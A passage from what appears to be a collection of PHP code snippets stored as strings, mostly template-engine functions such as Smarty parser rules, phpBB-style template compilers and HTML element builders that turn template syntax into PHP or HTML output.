\"\\\\'\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\r\", \"\\\\r\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\n\", \"\\\\n\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"</script>\", \"</'+'script>\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} elseif (isset($this->vars[$val]) && is_object($this->vars[$val])) {\n\t\t\t\t\t\t\t\t \t$_obj = &$this->vars[$val];\n\t\t\t\t\t\t\t\t\t$_name = $matches[4][$key];\n\t\t\t\t\t\t\t\t\t$replace[$key] = $_obj->$_name;\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tif ($matches[1][$key] == '#')\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = htmlspecialchars($replace[$key]); // escape html entries for # tag\n\t\t\t\t\t\t\t\t\tif ($matches[1][$key] == '+')\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace('+', '%20', urlencode($replace[$key])); // url escape for + tag\n\t\t\t\t\t\t\t\t\tif ($matches[1][$key] == '^')\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\\\\", \"\\\\\\\\\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"'\", \"\\\\'\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\r\", \"\\\\r\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\n\", \"\\\\n\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"</script>\", \"</'+'script>\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tif ($this->debug_mode) $this->show_notice($val.$matches[3][$key], 4); // show stupid notice\n\t\t\t\t\t\t\t\t$replace[$key] = ''; // and insert complete emptyness\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else{ // process common variables\n\t\t\t\t\t\t\tif (isset($this->vars[$val]))\n\t\t\t\t\t\t\t\t$replace[$key] = $this->get_var_val($val);\n\t\t\t\t\t\t\telseif (preg_match('/\\\\//', $val))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$v_row = $this->Registry->_internal_get_value($val);\n\t\t\t\t\t\t\t\tif ( ($v_row !== false) && (!$v_row->eof()) ) {\n\t\t\t\t\t\t\t\t\t$out = $v_row->Rows[0]->Fields['value'];\n\t\t\t\t\t\t if ($v_row->Rows[0]->Fields['key_type'] == KEY_TYPE_IMAGE)\n\t\t\t\t\t\t\t\t\t\t$out = $GLOBALS['app']->template_vars['REGISTRY_WEB'] . $v_row->Rows[0]->Fields['id_path'] . '/' . $out;\n\t\t\t\t\t\t\t\t\t$replace[$key] = $out;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t$replace[$key] = '';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t$replace[$key] = '';\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif ($matches[1][$key] == '#')\n\t\t\t\t\t\t\t\t$replace[$key] = htmlspecialchars($replace[$key]); // escape html entries for # tag\n\t\t\t\t\t\t\tif ($matches[1][$key] == '+')\n\t\t\t\t\t\t\t\t$replace[$key] = str_replace('+', '%20', urlencode($replace[$key])); // url escape for + tag\n\t\t\t\t\t\t\tif ($matches[1][$key] == '^')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\\\\", \"\\\\\\\\\", $replace[$key]);\n\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"'\", \"\\\\'\", $replace[$key]);\n\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\r\", \"\\\\r\", $replace[$key]);\n\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\n\", \"\\\\n\", $replace[$key]);\n\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"</script>\", \"</'+'script>\", $replace[$key]);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t$line = str_replace($matches[0], $replace, $line); // replace'em all\n\t\t\t\t}\n\n\t\t\t\t// processing ternary operators\n\n\t\t\t\tif (preg_match_all(PT_TERNARY_TAGS, $line, $matches)){ // Yes! We have some tags inside\n\t\t\t\t\tforeach ($matches[2] as $key => $val){ // go thru the matches\n\t\t\t\t\t\tif (isset($this->vars[$val])){\n\t\t\t\t\t\t\t$var = (bool)$this->get_var_val($val);\n\t\t\t\t\t\t\tif (strlen($matches[1][$key])> 0) $var = !$var;\n\t\t\t\t\t\t\t$res_num = ($var)?4:6;\n\t\t\t\t\t\t\tif (isset($this->vars[$matches[$res_num][$key]])) {\n\t\t\t\t\t\t\t\t$replace[$key] = $this->get_var_val($matches[$res_num][$key]);\n\t\t\t\t\t\t\t\tif (strlen($matches[$res_num - 1][$key])> 0) $replace[$key] = htmlspecialchars($replace[$key]); // escape html entries\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tif ($this->debug_mode) $this->show_notice($res_var, 1);\n\t\t\t\t\t\t\t\t$result[$key] = '';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else { // we have tag but haven't got variable\n\t\t\t\t\t\t\tif ($this->debug_mode) $this->show_notice($val, 1); // curse them out in debug mode\n\t\t\t\t\t\t\t$replace[$key] = ''; // and insert pretty nothing\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$line = str_replace($matches[0], $replace, $line); // replace'em all\n\t\t\t\t}\n\n\t\t\t\t// processing controls\n\t\t\t\tif (preg_match_all(PT_CONTROL_TAGS, $line, $matches)){ // Yes! This line contains control definition\n\t\t\t\t\t$replace = array();\n\t\t\t\t\tforeach ($matches[1] as $key => $name){ // go through the matches\n\t\t\t\t\t\tif (strlen($matches[3][$key])> 0) $tcontrol = &$GLOBALS['pt_template_factory']->get_object(strtolower($name), strtolower($matches[3][$key])); // here is control with id\n\t\t\t\t\t\telse $tcontrol = &$GLOBALS['pt_template_factory']->get_object(strtolower($name)); // here is control without id\n\t\t\t\t\t\tif (!is_null($tcontrol)){\n\t\t\t\t\t\t\t$tcontrol->parse_vars($matches[5][$key]);\n\t\t\t\t\t\t\tif (!$tcontrol->is_inited)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$tcontrol->on_page_init();\n\t\t\t\t\t\t\t\t$tcontrol->is_inited = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$replace[$key] = $tcontrol->process($loop_count);\n\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t$replace[$key] = '';\n\t\t\t\t\t}\n\t\t\t\t\t$line = str_replace($matches[0], $replace, $line); // replace control statements with control results\n\t\t\t\t}\n\n\t\t\t\t// compress and delete blank lines\n\t\t\t\t$line = preg_replace('/[\\r\\n]*$/', '', trim($line));\n\t\t\t\tif (strlen($line)> 0) $this->result .= $line . \"\\n\";\n\t\t\t}\n\t\t\t$curr_pos++;\n\t\t}\n\n// And what we have here?\n\t\tif (!isset($error_msg) && ($proc_type != PT_ROOT) && !$succ_mode) $error_msg = 'Unexpected end of file'; // invalid template - show error\n\t\tif (isset($error_msg)){\n\t\t\t$error_txt = 'Template parsing error on line '.($curr_pos + 1);\n\t\t\tif (isset($this->filename))\t$error_txt .= ' of file \"'.$this->filename.'\"';\n\t\t\t$error_txt .= ' - '.$error_msg;\n\t\t\tsystem_die($error_txt, 'Template->parse'); // invalid template - show error\n\t\t}\n\t\tif ($proc_type == PT_ROOT)\n\t\t\tif (!isset($this->result))\n\t\t\t\t$this->result = ''; // probably there were one big false IF?\n\t\treturn $curr_pos; // HURRA! HURRA! This one is successfully completed!\n\t}", "function parseTemplate() {\n $this->initParsing();\n $this->beginMainBlock();\n if (!$this->parseTemplateCommands()) return false;\n $this->endMainBlock();\n if (!$this->checkBlockDefinitionsComplete()) return false;\n if (!$this->parseTemplateVariables()) return false;\n $this->associateVariablesWithBlocks();\n return true; }", "function yy_r8(){$this->compiler->tag_nocache = true; $this->_retvalue = $this->cacher->processNocacheCode(\"<?php echo '?>';?>\\n\", $this->compiler, true); }", "public function visitConditionalStatement(\n /*IConditionalStatement*/ $node) /*: mixed*/ {\n $condition = /*(string)*/$node->getCondition()->accept($this);\n $this->blockIndent = ' ';\n $true_block = /*(string)*/$node->getTrueBlock()->accept($this);\n $this->blockIndent = ' ';\n $false_block = /*(string)*/$node->getFalseBlock()->accept($this);\n $result = $this->indent.'if ('.$condition.')'.$true_block;\n if ($false_block !== '') {\n $result .= ' else'.$false_block;\n }\n return $result.\"\\n\";\n }", "function compile($code, $do_not_echo = false, $retvar = '')\n\t{\n\t\t$code = str_replace('\\\\', '\\\\\\\\', $code);\n\t\t$code = str_replace('\\'', '\\\\\\'', $code);\n\n\t\t// change template varrefs into PHP varrefs\n\n\t\t// This one will handle varrefs WITH namespaces\n\t\t$varrefs = array();\n\t\tpreg_match_all('#\\{(([a-z0-9\\-_]+?\\.)+?)([a-z0-9\\-_]+?)\\}#is', $code, $varrefs);\n\t\t$varcount = sizeof($varrefs[1]);\n\t\tfor ($i = 0; $i < $varcount; $i++)\n\t\t{\n\t\t\t$namespace = $varrefs[1][$i];\n\t\t\t$varname = $varrefs[3][$i];\n\t\t\t$new = $this->generate_block_varref($namespace, $varname);\n\n\t\t\t$code = str_replace($varrefs[0][$i], $new, $code);\n\t\t}\n\n\t\t// This will handle the remaining root-level varrefs\n\t\t$code = preg_replace('#\\{([a-z0-9\\-_]*?)\\}#is', '\\' . ( ( isset($this->_tpldata[\\'.\\'][0][\\'\\1\\']) ) ? $this->_tpldata[\\'.\\'][0][\\'\\1\\'] : \\'\\' ) . \\'', $code);\n\n\t\t// Break it up into lines.\n\t\t$code_lines = explode(\"\\n\", $code);\n\n\t\t$block_nesting_level = 0;\n\t\t$block_names = array();\n\t\t$block_names[0] = \".\";\n\n\t\t// Second: prepend echo ', append ' . \"\\n\"; to each line.\n\t\t$line_count = sizeof($code_lines);\n\t\tfor ($i = 0; $i < $line_count; $i++)\n\t\t{\n\t\t\t$code_lines[$i] = chop($code_lines[$i]);\n\t\t\tif (preg_match('#<!-- BEGIN (.*?) -->#', $code_lines[$i], $m))\n\t\t\t{\n\t\t\t\t$n[0] = $m[0];\n\t\t\t\t$n[1] = $m[1];\n\n\t\t\t\t// Added: dougk_ff7-Keeps templates from bombing if begin is on the same line as end.. I think. :)\n\t\t\t\tif ( preg_match('#<!-- END (.*?) -->#', $code_lines[$i], $n) )\n\t\t\t\t{\n\t\t\t\t\t$block_nesting_level++;\n\t\t\t\t\t$block_names[$block_nesting_level] = $m[1];\n\t\t\t\t\tif ($block_nesting_level < 2)\n\t\t\t\t\t{\n\t\t\t\t\t\t// Block is not nested.\n\t\t\t\t\t\t$code_lines[$i] = '$_' . $n[1] . '_count = ( isset($this->_tpldata[\\'' . $n[1] . '.\\']) ) ? sizeof($this->_tpldata[\\'' . $n[1] . '.\\']) : 0;';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . 'for ($_' . $n[1] . '_i = 0; $_' . $n[1] . '_i < $_' . $n[1] . '_count; $_' . $n[1] . '_i++)';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . '{';\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t// This block is nested.\n\n\t\t\t\t\t\t// Generate a namespace string for this block.\n\t\t\t\t\t\t$namespace = implode('.', $block_names);\n\t\t\t\t\t\t// strip leading period from root level..\n\t\t\t\t\t\t$namespace = substr($namespace, 2);\n\t\t\t\t\t\t// Get a reference to the data array for this block that depends on the\n\t\t\t\t\t\t// current indices of all parent blocks.\n\t\t\t\t\t\t$varref = $this->generate_block_data_ref($namespace, false);\n\t\t\t\t\t\t// Create the for loop code to iterate over this block.\n\t\t\t\t\t\t$code_lines[$i] = '$_' . $n[1] . '_count = ( isset(' . $varref . ') ) ? sizeof(' . $varref . ') : 0;';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . 'for ($_' . $n[1] . '_i = 0; $_' . $n[1] . '_i < $_' . $n[1] . '_count; $_' . $n[1] . '_i++)';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . '{';\n\t\t\t\t\t}\n\n\t\t\t\t\t// We have the end of a block.\n\t\t\t\t\tunset($block_names[$block_nesting_level]);\n\t\t\t\t\t$block_nesting_level--;\n\t\t\t\t\t$code_lines[$i] .= '} // END ' . $n[1];\n\t\t\t\t\t$m[0] = $n[0];\n\t\t\t\t\t$m[1] = $n[1];\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t// We have the start of a block.\n\t\t\t\t\t$block_nesting_level++;\n\t\t\t\t\t$block_names[$block_nesting_level] = $m[1];\n\t\t\t\t\tif ($block_nesting_level < 2)\n\t\t\t\t\t{\n\t\t\t\t\t\t// Block is not nested.\n\t\t\t\t\t\t$code_lines[$i] = '$_' . $m[1] . '_count = ( isset($this->_tpldata[\\'' . $m[1] . '.\\']) ) ? sizeof($this->_tpldata[\\'' . $m[1] . '.\\']) : 0;';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . 'for ($_' . $m[1] . '_i = 0; $_' . $m[1] . '_i < $_' . $m[1] . '_count; $_' . $m[1] . '_i++)';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . '{';\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t// This block is nested.\n\n\t\t\t\t\t\t// Generate a namespace string for this block.\n\t\t\t\t\t\t$namespace = implode('.', $block_names);\n\t\t\t\t\t\t// strip leading period from root level..\n\t\t\t\t\t\t$namespace = substr($namespace, 2);\n\t\t\t\t\t\t// Get a reference to the data array for this block that depends on the\n\t\t\t\t\t\t// current indices of all parent blocks.\n\t\t\t\t\t\t$varref = $this->generate_block_data_ref($namespace, false);\n\t\t\t\t\t\t// Create the for loop code to iterate over this block.\n\t\t\t\t\t\t$code_lines[$i] = '$_' . $m[1] . '_count = ( isset(' . $varref . ') ) ? sizeof(' . $varref . ') : 0;';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . 'for ($_' . $m[1] . '_i = 0; $_' . $m[1] . '_i < $_' . $m[1] . '_count; $_' . $m[1] . '_i++)';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . '{';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (preg_match('#<!-- END (.*?) -->#', $code_lines[$i], $m))\n\t\t\t{\n\t\t\t\t// We have the end of a block.\n\t\t\t\tunset($block_names[$block_nesting_level]);\n\t\t\t\t$block_nesting_level--;\n\t\t\t\t$code_lines[$i] = '} // END ' . $m[1];\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// We have an ordinary line of code.\n\t\t\t\tif (!$do_not_echo)\n\t\t\t\t{\n\t\t\t\t\t$code_lines[$i] = 'echo \\'' . $code_lines[$i] . '\\' . \"\\\\n\";';\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$code_lines[$i] = '$' . $retvar . '.= \\'' . $code_lines[$i] . '\\' . \"\\\\n\";'; \n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Bring it back into a single string of lines of code.\n\t\t$code = implode(\"\\n\", $code_lines);\n\t\treturn $code\t;\n\n\t}", "public static function parseConditionals($template, $data, $output)\n {\n $matches = [];\n preg_match_all('/\\[{if/mi', $template, $matches, PREG_OFFSET_CAPTURE);\n if (isset($matches[0]) && isset($matches[0][0])) {\n foreach ($matches[0] as $match) {\n $cond = substr($template, $match[1]);\n $cond = substr($cond, 0, strpos($cond, '[{/if}]') + 7);\n $var = substr($cond, strpos($cond, '(') + 1);\n $var = substr($var, 0, strpos($var, ')'));\n\n // If var is an array\n if (strpos($var, '[') !== false) {\n $index = substr($var, (strpos($var, '[') + 1));\n $index = substr($index, 0, strpos($index, ']'));\n $var = substr($var, 0, strpos($var, '['));\n $varSet = (!empty($data[$var][$index]));\n } else {\n $index = null;\n $varSet = (!empty($data[$var]));\n }\n if (strpos($cond, '[{else}]') !== false) {\n if ($varSet) {\n $code = substr($cond, (strpos($cond, ')}]') + 3));\n $code = substr($code, 0, strpos($code, '[{else}]'));\n $code = (null !== $index) ?\n str_replace('[{' . $var . '[' . $index . ']}]', $data[$var][$index], $code) :\n str_replace('[{' . $var . '}]', $data[$var], $code);\n $output = str_replace($cond, $code, $output);\n } else {\n $code = substr($cond, (strpos($cond, '[{else}]') + 8));\n $code = substr($code, 0, strpos($code, '[{/if}]'));\n $output = str_replace($cond, $code, $output);\n }\n } else {\n if ($varSet) {\n $code = substr($cond, (strpos($cond, ')}]') + 3));\n $code = substr($code, 0, strpos($code, '[{/if}]'));\n $code = (null !== $index) ?\n str_replace('[{' . $var . '[' . $index . ']}]', $data[$var][$index], $code) :\n str_replace('[{' . $var . '}]', $data[$var], $code);\n $output = str_replace($cond, $code, $output);\n } else {\n $output = str_replace($cond, '', $output);\n }\n }\n }\n }\n\n return $output;\n }", "function yy_r7(){ $this->compiler->tag_nocache = true; $this->_retvalue = $this->cacher->processNocacheCode(\"<?php echo '<?xml';?>\", $this->compiler, true); }", "protected function transpileEndForElse(): string\n {\n return '<?php endif; ?>';\n }", "function yy_r77(){ $this->_retvalue = '$_smarty_tpl->getVariable('. $this->yystack[$this->yyidx + -2]->minor .')->'.$this->yystack[$this->yyidx + 0]->minor; $this->compiler->tag_nocache=$this->compiler->tag_nocache|$this->template->getVariable(trim($this->yystack[$this->yyidx + -2]->minor,\"'\"))->nocache; }", "function yy_r18(){ $this->_retvalue = '<?php ob_start();?>'.$this->compiler->compileTag($this->yystack[$this->yyidx + -4]->minor,$this->yystack[$this->yyidx + -1]->minor).'<?php echo ';\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t if ($this->smarty->plugin_handler->loadSmartyPlugin($this->yystack[$this->yyidx + -3]->minor[0],'modifier')) {\r\n $this->_retvalue .= \"\\$_smarty_tpl->smarty->plugin_handler->executeModifier('\".$this->yystack[$this->yyidx + -3]->minor[0] . \"',array(ob_get_clean()\" . $this->yystack[$this->yyidx + -2]->minor. \"),\".$this->yystack[$this->yyidx + -3]->minor[1].\");?>\";\r\n } else {\r\n if (is_callable($this->yystack[$this->yyidx + -3]->minor[0])) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t if (!$this->template->security || $this->smarty->security_handler->isTrustedModifier($this->yystack[$this->yyidx + -3]->minor[0], $this->compiler)) {\r\n $this->_retvalue .= \"\\$_smarty_tpl->smarty->plugin_handler->executeModifier('\".$this->yystack[$this->yyidx + -3]->minor[0] . \"',array(ob_get_clean()\" . $this->yystack[$this->yyidx + -2]->minor. \"),\".$this->yystack[$this->yyidx + -3]->minor[1].\");?>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t }\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t } else {\r\n $this->compiler->trigger_template_error (\"unknown modifier \\\"\" . $this->yystack[$this->yyidx + -3]->minor[0] . \"\\\"\");\r\n }\r\n }\r\n }", "function compile_html () {\n\t //here go the subtags & attributes\n $html = \"\"; \n\t $attributes = \"\";\n\t foreach ($this->attributes as $aid => $avalue) {\n\t foreach ($avalue as $vkey => $value) {\n\t $attributes .= \" {$vkey}=\\\"{$value}\\\"\";\n\t\t}\n\t }\n\t \n\t if ( strpos($this->openingtag, \"[content]\") !== false ) {\n\t $openingtag = str_replace (\"[attributes]\", $attributes, $this->openingtag);\n\t $openingtag = str_replace (\"[content]\", $this->content, $openingtag );\n\t $html .= $openingtag;\n\t } \n\t else {\n\t $html .= str_replace (\"[attributes]\", $attributes, $this->openingtag);\n\t $html .= $this->content;\n\t }\n\t \n\t foreach ($this->childrenElements as $childid => $element) {\n\t $html .= $element->compile_html();\n\t }\n\t \n\t \n\t if ($this->closingtag != \"\") { \n\t $html .= str_replace (\"[attributes]\", $attributes, $this->closingtag);\n\t }\n\t \n\t return $html;\n }", "function yy_r104()\n {\n $this->prefix_number ++;\n $code = new Smarty_Compiler_Code();\n $code->iniTagCode($this->compiler);\n $code->php(\"ob_start();\")->newline();\n $code->mergeCode($this->yystack[$this->yyidx + 0]->minor);\n $code->php(\"\\$_tmp{$this->prefix_number} = ob_get_clean();\")->newline();\n $this->compiler->prefix_code[] = $code;\n $this->_retvalue = '$_tmp' . $this->prefix_number;\n }", "function IfJavaScript($if_content = false, $else_content = false) {\r\n $html = array();\r\n if ($if_content) {\r\n $xml = AsXML($if_content);\r\n $js = sprintf('document.write(\"%s\");',\r\n addcslashes($xml, \"\\0..\\37!@\\\\\\177..\\377\"));\r\n $html[] = JavaScript($js);\r\n }\r\n if ($else_content) {\r\n $html[] = HTML::noscript(false, $else_content);\r\n }\r\n return HTML($html);\r\n}", "function IfJavaScript($if_content = false, $else_content = false) {\r\n $html = array();\r\n if ($if_content) {\r\n $xml = AsXML($if_content);\r\n $js = sprintf('document.write(\"%s\");',\r\n addcslashes($xml, \"\\0..\\37!@\\\\\\177..\\377\"));\r\n $html[] = JavaScript($js);\r\n }\r\n if ($else_content) {\r\n $html[] = HTML::noscript(false, $else_content);\r\n }\r\n return HTML($html);\r\n}", "function yy_r26(){\r\n if ($this->yystack[$this->yyidx + -9]->minor != 'foreach') {\r\n $this->compiler->trigger_template_error (\"wrong syntax for tag \\\"\" . $this->yystack[$this->yyidx + -9]->minor . \"\\\"\"); \r\n }\r\n $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + -9]->minor,array('from'=>$this->yystack[$this->yyidx + -7]->minor,'item'=>$this->yystack[$this->yyidx + -1]->minor,'key'=>$this->yystack[$this->yyidx + -4]->minor)); }", "protected function compile() {\n if (TL_MODE == 'BE') {\n $this->genBeOutput();\n } else {\n $this->genFeOutput();\n }\n }", "function compile_html () {\n\t //here go the subtags & attributes\n \n //see if we can make a coffee script compiler\n \n if (file_exists (dirname(__FILE__).\"/coffeescript/Init.php\")) {\n require_once dirname(__FILE__).\"/coffeescript/Init.php\";\n Coffeescript\\Init::load();\n $this->content = CoffeeScript\\Compiler::compile($this->get_content(), array(\"filename\"=>\"test.coffee\", \"bare\" => true));\n }\n else {\n $this->content = $this->get_content(); \n }\n \n \n $html = \"\"; \n\t $attributes = \"\";\n $this->openingtag = $this->get_openingtag();\n $this->closingtag = $this->get_closingtag();\n $this->attributes = $this->get_attributes();\n $this->childrenElements = $this->get_childrenElements();\n \n\t foreach ($this->attributes as $aid => $avalue) {\n\t foreach ($avalue as $vkey => $value) {\n\t $attributes .= \" {$vkey}=\\\"{$value}\\\"\";\n\t\t}\n\t }\n\t \n\t if ( strpos($this->openingtag, \"[content]\") !== false ) {\n\t $openingtag = str_replace (\"[attributes]\", $attributes, $this->openingtag);\n\t $openingtag = str_replace (\"[content]\", $this->content, $openingtag );\n\t $html .= $openingtag;\n\t } \n\t else {\n\t $html .= str_replace (\"[attributes]\", $attributes, $this->openingtag);\n\t $html .= $this->content;\n\t }\n\t \n\t foreach ($this->childrenElements as $childid => $element) {\n\t $html .= $element->compile_html();\n\t }\n\t \n\t \n\t if ($this->closingtag != \"\") { \n\t $html .= str_replace (\"[attributes]\", $attributes, $this->closingtag);\n\t }\n\t \n\t return $html;\n }", "protected function compile()\n {\n if (TL_MODE == 'BE')\n {\n $this->strTemplate = 'be_wildcard';\n $this->Template = new \\BackendTemplate($this->strTemplate);\n }\n\n if (empty(self::$wrappers))\n {\n return;\n }\n\n foreach (array_pop(self::$wrappers) as $key => $value)\n {\n $this->Template->{$key} = $value;\n }\n }", "function yy_r106()\n {\n if ($this->yystack[$this->yyidx + 0]->minor['var'] == 'smarty') {\n $this->_retvalue = $this->compiler->compileTag('Internal_SpecialVariable', array(), $this->yystack[$this->yyidx + 0]->minor['smarty_internal_index']);\n } else {\n $this->_retvalue = $this->compiler->compileVariable($this->yystack[$this->yyidx + 0]->minor['var']) . $this->yystack[$this->yyidx + 0]->minor['smarty_internal_index'];\n }\n }", "function _compile_text($code, $use_isset)\n\t{\n\t\tif(strlen($code) < 3)\n\t\t{\n\t\t\treturn $code;\n\t\t}\n\t\t// change template varrefs into PHP varrefs\n\t\t// This one will handle varrefs WITH namespaces\n\t\t$varrefs = array();\n\t\tpreg_match_all('#\\{(([a-z0-9\\-_]+?\\.)+?)([a-z0-9\\-_]+?)\\}#is', $code, $varrefs);\n\t\t$varcount = sizeof($varrefs[1]);\n\t\t$search = array();\n\t\t$replace = array();\n\t\tfor ($i = 0; $i < $varcount; $i++)\n\t\t{\n\t\t\t$namespace = $varrefs[1][$i];\n\t\t\t$varname = $varrefs[3][$i];\n\t\t\t$new = $this->generate_block_varref($namespace, $varname, $use_isset);\n\t\t\t$search[] = $varrefs[0][$i];\n\t\t\t$replace[] = $new;\n\t\t}\n\t\tif(sizeof($search) > 0)\n\t\t{\n\t\t\t$code = str_replace($search, $replace, $code);\n\t\t}\n\t\t// This will handle the remaining root-level varrefs\n\t\t$code = preg_replace('#\\{([a-z0-9\\-_]*?)\\}#is', '<'.'?php echo isset($this->vars[\\'\\1\\']) ? $this->vars[\\'\\1\\'] : $this->lang(\\'\\1\\'); ?'.'>', $code);\n\t\t$code = preg_replace('#\\{\\$([a-z0-9\\-_]*?)\\}#is', '<'.'?php echo isset($this->_tpldata[\\'DEFINE\\'][\\'.\\'][\\'\\\\1\\']) ? $this->_tpldata[\\'DEFINE\\'][\\'.\\'][\\'\\\\1\\'] : \\'\\'; ?'.'>', $code);\n\t\treturn $code;\n\t}", "function yy_r28(){ \r\n if ($this->yystack[$this->yyidx + -9]->minor != 'foreach') {\r\n $this->compiler->trigger_template_error (\"wrong syntax for tag \\\"\" . $this->yystack[$this->yyidx + -9]->minor . \"\\\"\"); \r\n }\r\n $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + -9]->minor,array('from'=>$this->yystack[$this->yyidx + -7]->minor,'item'=>$this->yystack[$this->yyidx + -1]->minor,'key'=>$this->yystack[$this->yyidx + -4]->minor)); }", "function render_block_core_template_part($attributes)\n {\n }", "function compile($code, $do_not_echo = false, $retvar = '')\n\t{\n\t\t$code = ' ?' . '>' . $this->compile_code('', $code, true) . '<' . '?php' . \"\\n\";\n\t\tif($do_not_echo)\n\t\t{\n\t\t\t$code = \"ob_start();\\n\". $code. \"\\n\\${$retvar} = ob_get_contents();\\nob_end_clean();\\n\";\n\t\t}\n\t\treturn $code;\n\t}", "function yy_r6(){ \r\n if ($this->sec_obj->php_handling == SMARTY_PHP_PASSTHRU || $this->sec_obj->php_handling == SMARTY_PHP_ALLOW) {\r\n $this->_retvalue = $this->cacher->processNocacheCode(\"<?php echo '<?=\".$this->yystack[$this->yyidx + -1]->minor.\"?>'?>\\n\", $this->compiler, false);\r\n } elseif ($this->sec_obj->php_handling == SMARTY_PHP_QUOTE) {\r\n $this->_retvalue = $this->cacher->processNocacheCode(htmlspecialchars('<?='.$this->yystack[$this->yyidx + -1]->minor.'?>', ENT_QUOTES), $this->compiler, false);\r\n }elseif ($this->sec_obj == SMARTY_PHP_REMOVE) {\r\n $this->_retvalue = '';\r\n }\r\n }", "function compile_html () {\n\t //here go the subtags & attributes\n \n //see if we can make a sass script compiler\n \n if (file_exists (dirname(__FILE__).\"/scssphp/scss.inc.php\")) {\n require_once dirname(__FILE__).\"/scssphp/scss.inc.php\";\n $scss = new scssc();\n $this->content = $scss->compile ($this->get_content());\n }\n else {\n $this->content = $this->get_content ();\n }\n \n \n $html = \"\"; \n\t $attributes = \"\";\n $this->openingtag = $this->get_openingtag();\n $this->closingtag = $this->get_closingtag();\n $this->attributes = $this->get_attributes();\n $this->childrenElements = $this->get_childrenElements();\n \n\t foreach ($this->attributes as $aid => $avalue) {\n\t foreach ($avalue as $vkey => $value) {\n\t $attributes .= \" {$vkey}=\\\"{$value}\\\"\";\n\t\t }\n\t }\n\t \n\t if ( strpos($this->openingtag, \"[content]\") !== false ) {\n\t $openingtag = str_replace (\"[attributes]\", $attributes, $this->openingtag);\n\t $openingtag = str_replace (\"[content]\", slib_compress_script ( $this->content ), $openingtag );\n\t $html .= $openingtag;\n\t } \n\t else {\n\t $html .= str_replace (\"[attributes]\", $attributes, $this->openingtag);\n\t $html .= slib_compress_script ( $this->content );\n\t }\n\t \n\t foreach ($this->childrenElements as $childid => $element) {\n\t $html .= $element->compile_html();\n\t }\n\t \n\t \n\t if ($this->closingtag != \"\") { \n\t $html .= str_replace (\"[attributes]\", $attributes, $this->closingtag);\n\t }\n\t \n\t return $html;\n }", "function yy_r27(){ \r\n if ($this->yystack[$this->yyidx + -6]->minor != 'foreach') {\r\n $this->compiler->trigger_template_error (\"wrong syntax for tag \\\"\" . $this->yystack[$this->yyidx + -6]->minor . \"\\\"\"); \r\n }\r\n $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + -6]->minor,array('from'=>$this->yystack[$this->yyidx + -4]->minor,'item'=>$this->yystack[$this->yyidx + -1]->minor)); }", "private function parseMetaboxConditions()\n\t\t{\n\t\t\tforeach( $this->_conditions as $condition ) {\n\t\t\t\tif( !$condition ) {\n\t\t\t\t\treturn '<style>#' . $this->_id . ' { display: none !important; 